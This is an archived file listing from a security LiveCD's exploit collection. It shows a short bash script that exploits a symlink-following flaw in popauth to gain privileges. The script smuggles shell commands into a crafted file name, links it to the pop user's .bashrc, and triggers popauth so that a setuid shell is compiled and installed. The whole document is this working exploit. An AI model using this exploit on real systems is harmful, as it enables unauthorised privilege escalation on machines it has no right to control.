home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / mkbs2.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  403b  |  12 lines

  1. #!/bin/bash
  2.  
  3. # popauth symlink follow vuln by IhaQueR
  4. # this will create .bashrc for user pop
  5. # and ~pop/sup suid shell
  6.  
  7. FILE=$(perl -e 'print "/tmp/blah1\"\ncd ~\necho >blah.c \"#include <stdio.h>\nmain(){setreuid(geteuid(),getuid());execlp(\\\"bash\\\", \\\"bash\\\",NULL);}\"\ngcc blah.c -o sup\nchmod u+s sup\necho done\n\n\""')
  8.  
  9. ln -s /var/lib/pop/.bashrc "$FILE"
  10.  
  11. /usr/sbin/popauth -trace "$FILE"
  12.